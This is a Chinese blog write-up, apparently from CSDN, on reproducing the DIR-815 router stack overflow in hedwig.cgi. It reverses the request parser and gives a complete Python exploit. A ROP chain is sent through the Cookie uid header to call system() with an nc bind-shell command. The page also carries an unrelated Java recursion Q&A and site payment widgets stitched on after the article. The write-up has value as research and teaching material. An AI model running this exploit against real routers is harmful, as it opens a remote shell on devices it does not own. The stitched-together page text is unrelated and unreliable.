DIR-815 栈溢出二三事

本文详细介绍了DIR-815路由器栈溢出漏洞的复现过程,发现并纠正了现有资料中的错误。作者通过分析程序代码,揭示了如何通过构造特定HTTP请求绕过验证,直接在第一个sprintf处触发栈溢出。文章还分享了利用技巧和调试过程中遇到的问题,提供了简化后的exploit代码。同时,文章强调了在安全研究中不应过分依赖已有资料,鼓励独立思考。
摘要由CSDN通过智能技术生成

参考资料

《揭秘家用路由器0day漏洞挖掘技术》第10章
winmt师傅的复现
F01TH师傅的复现

写作原因

写这篇文章的起因是我参照网上的教程与《揭秘家用路由器0day漏洞挖掘技术》一书进行DIR-815路由器栈溢出漏洞的复现。在此过程中,发现几乎所有资料都特意提到了漏洞爆发于第二个sprintf处。不过,经过逆向与调试,我发现这一说法本身存在问题(来源应该就是《0day》一书中的描述)

实际上,经我测试,通过使用不合法的http请求头,可以绕过相关的验证,直接使用第一个sprintf触发栈溢出并返回,简化了exp流程。

此外,本文还记录了使用FirmAE进行设备模拟与远程调试方面的踩坑过程,希望能对大家有所帮助。

程序分析

这里只对涉及到触发漏洞的环境变量与全局变量部分做解释。先来说一下《0day》这本书里的分析。如下图所示
在这里插入图片描述

IDA反编译结果如下(第一处sprintf):
在这里插入图片描述

第二处sprintf:
在这里插入图片描述
观察一下第一个sprintf,可以看到执行完后有v7haystack两个变量控制的跳转。
v7就是fopen的结果,真机存在该目录,所以恒真。关键在于haystack这个变量。
涉及这个变量的部分位于sub_4096AC中,而该函数的指针被传入了cgibin_parse_request这个函数中。

cgibin_parse_request函数:
在这里插入图片描述
在这里插入图片描述
正常情况下,我们的http请求中都会带有正常的content-typecontent-length字段。如果是这样的话,就会进入if(v7)中的while(1)这个循环,并在循环中返回。
顺便说一句,图中的stru_42c014为程序自定义结构体,格式为|字符串地址|字符串长度|函数地址|,结合上文,综合作用是通过检查Content-Type中的起始类型(application/audio/example)跳转到相应的处理函数。

如果我们的POST包中字段Content-Typeapplication/x-www-form-urlencoded的话,就会跳转到sub_403B10,进一步进入sub_402FFC函数。在该函数中,会进一步调用sub_402B40函数,并通过引用栈指针的方式,调用sub_4096AC函数,从而修改了heystack的值。

sub_403B10:
在这里插入图片描述

sub_402B40中最终调用sub_4096AC的部分:
在这里插入图片描述

对应的调试结果:
在这里插入图片描述
所以,在POST包中字段Content-Typeapplication/x-www-form-urlencoded的话,就会对heystack进行赋值,从而导致程序一直执行到第二个sprintf处并触发栈溢出。

那么,如果我们改造或完全删除Content-TypeContent-Length两个字段,避免这一系列的函数调用,那不就可以在第一个sprintf后直接返回造成栈溢出了么?(haystack保持为0后,可以直接goto LABEL_34,再goto LABEL_25,直接正常返回)
在这里插入图片描述

利用手法

看看cgibin_parse_request函数的开头:
![在这里插入图片描述](https://img-blog.csdnimg.cn/752822d0f976447a8a2bec724b739ce9.png
)
只需要我们让Content-TypeContent-Length中任何一个字段不存在或令Content-Length字段的值为0,就可以让v7=0。而这么做的后果就是——if(v7)这个分支被完全跳过,函数直接从return v9正常返回。
然后就可以一路执行到if(!haystack)处,直接多跳返回。这样就完成了利用第一个sprintf进行栈溢出攻击。

最终exp如下,这里采用的是正连shell的方式:

from pwn import*
import urllib3
from http.client import HTTPConnection
HTTPConnection.debuglevel=1

http = urllib3.PoolManager()

url = "http://192.168.0.1:80/hedwig.cgi"

cmd = b'nc  -lvp 8888 -e /bin/sh &&'
#cmd = b'ln -s /bin/busybox /bin'
libc_base = 0x77f34000
 
payload = b'a'*1007 #溢出长度稍有不同
payload += p32(libc_base + 0x53200 - 1) # s0  system_addr - 1
payload += p32(libc_base + 0x169C4) # s1  addiu $s2, $sp, 0x18 (=> jalr $s0)
payload += p32(0x7fff67e0+24)*7 #system参数地址,直接使用栈地址
payload += p32(libc_base + 0x32A98) # ra  addiu $s0, 1 (=> jalr $s1)
payload += b'a'*24
payload += cmd


headers = {
    "Cookie"        : b"uid=" + payload,
#    "Content-Type"  : b"abcd",
#    "Content-length": b"0",
}


r = http.request('POST', url , headers=headers)
print(r.headers)

打完exp后本地nc远程的8888端口即可。

第一个sprintf在溢出数据结尾有/postxml(sprintf格式化的结果),由于我们使用的system参数正是结尾的这一部分栈字符串,需要在payload中加入&&||进行bypass。此外,由于返回流程不完全相同,system参数变为s3,故在溢出过程中将含s3的一连串寄存器均置为相应的栈地址(p32(0x7fff67e0+24)*7)。

踩坑相关

  • FirmAE本身很好用,但默认busybox很烂(没有nc),在shell连接后的/firmadyne目录下有需要用到的所有工具(包括一个新版的busyboxgdbserver),替换掉原有busybox并建立nc的软链接,这样才能使用nc命令并反弹shell。

  • 直接使用FirmAE脚本提供的gdbserver可能看不到httpd进程。调试时先ps找一下httpdpid,再用gdbserver attach上去即可。

  • gdbserver在开了ASLR的情况下无法跟进子进程,设置了set follow-fork-mode child也不行,暂且不清楚原因

  • 一开始使用了requests库编写exp,后来发现requests会自动纠正不正常的数据包header,故改用urllib3完成。

  • 在脚本中添加from http.client import HTTPConnection HTTPConnection.debuglevel=1两句,打开调试模式,可以看见发送的完整数据包,便于观察与调整exp。

总结

  • 尽信书则不如无书,安全需要的正是旁逸斜出的思维。

在这里插入图片描述

  • requests库本身是专用于爬虫领域的,它可能对于爬虫工程师来说很友好,但如果进行安全方面的研究,建议使用原始的urllib、urllib2、urllib3库来构造定制化程度更高的payload。
  • 直接绕过不用分析代码好爽啊
### 回答1: 当然,我很乐意回答你的问题! 在Java中,可以使用递归实现很多算法和数据结构。以下是三个使用递归的例子: 1. 阶乘函数:计算一个正整数的阶乘。可以使用递归来实现。例如,5的阶乘为5x4x3x2x1=120。 ```java public static int factorial(int n) { if (n == 0 || n == 1) { return 1; } else { return n * factorial(n - 1); } } ``` 2. 斐波那契数列:一个数列,第一个和第二个数都为1,接下来的每个数都是前面两个数之和。可以使用递归来实现。 ```java public static int fibonacci(int n) { if (n == 1 || n == 2) { return 1; } else { return fibonacci(n - 1) + fibonacci(n - 2); } } ``` 3. 文件搜索:可以使用递归搜索一个目录中的所有文件。如果当前路径是目录,则递归调用该方法;如果是文件,则输出文件名。 ```java public static void searchFiles(File dir) { if (dir.isDirectory()) { File[] files = dir.listFiles(); if (files != null) { for (File file : files) { searchFiles(file); } } } else { System.out.println(dir.getName()); } } ``` ### 回答2: 在Java中,递归是一种函数自己调用自己的技术。以下是三个使用递归的Java示例: 1. 阶乘函数: 阶乘是一个经典的递归问题。可以使用递归来计算给定数字的阶乘。例如,可以使用以下方法计算5的阶乘: ```java public static int factorial(int n) { if (n == 0) { return 1; } else { return n * factorial(n-1); } } ``` 在这个例子中,如果输入的参数n为0,则返回1,否则,将n乘以递归调用factorial方法,并将n减1。 2. 斐波那契数列: 斐波那契数列是一个经典的递归问题。可以使用递归来计算斐波那契数列的第n个数字。例如,可以使用以下方法计算第n个斐波那契数: ```java public static int fibonacci(int n) { if (n <= 1) { return n; } else { return fibonacci(n-1) + fibonacci(n-2); } } ``` 在这个例子中,如果输入的参数n小于或等于1,则返回n,否则,将递归调用fibonacci方法来计算n-1和n-2的斐波那契数,并将它们相加。 3. 文件路径遍历: 在Java中,可以使用递归遍历文件夹中的所有文件和子文件夹。例如,可以使用以下方法来遍历文件夹中的所有文件: ```java public static void listFiles(File dir) { File[] files = dir.listFiles(); if (files != null) { for (File file : files) { if (file.isDirectory()) { listFiles(file); // 递归调用自身来处理子文件夹 } else { System.out.println(file.getAbsolutePath()); } } } } ``` 在这个例子中,首先获取文件夹中的所有文件和子文件夹。然后,遍历所有文件和文件夹,如果是文件夹,则递归调用自身来处理子文件夹,如果是文件,则打印文件的绝对路径。 ### 回答3: 在Java中,递归是一种方法或函数调用自身的技术。下面是三个在Java中使用递归的例子: 1. 阶乘计算:阶乘是将一个正整数n与小于等于n的所有正整数相乘的结果。使用递归来计算阶乘是一种常见的做法。例如,计算5的阶乘可以使用以下递归函数: ```java public static int factorial(int n) { if (n == 0) { return 1; } else { return n * factorial(n - 1); } } ``` 2. 斐波那契数列:斐波那契数列是一个数列,前两个数字是0和1,之后的每一个数字都是前两个数字之和。使用递归来生成斐波那契数列是一种常见的方法。例如,生成前10个斐波那契数列可以使用以下递归函数: ```java public static int fibonacci(int n) { if (n <= 1) { return n; } else { return fibonacci(n - 1) + fibonacci(n - 2); } } ``` 3. 文件目录遍历:在Java中,可以使用递归来遍历文件目录。例如,想要遍历一个文件夹及其子文件夹中的所有文件,可以使用以下递归函数: ```java public static void listFiles(File directory) { if (directory.isDirectory()) { File[] files = directory.listFiles(); if (files != null) { for (File file : files) { listFiles(file); } } } else { System.out.println(directory.getPath()); } } ``` 以上是三个在Java中使用递归的例子。递归在某些情况下可以简化代码,但需要注意递归深度过深可能导致栈溢出
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值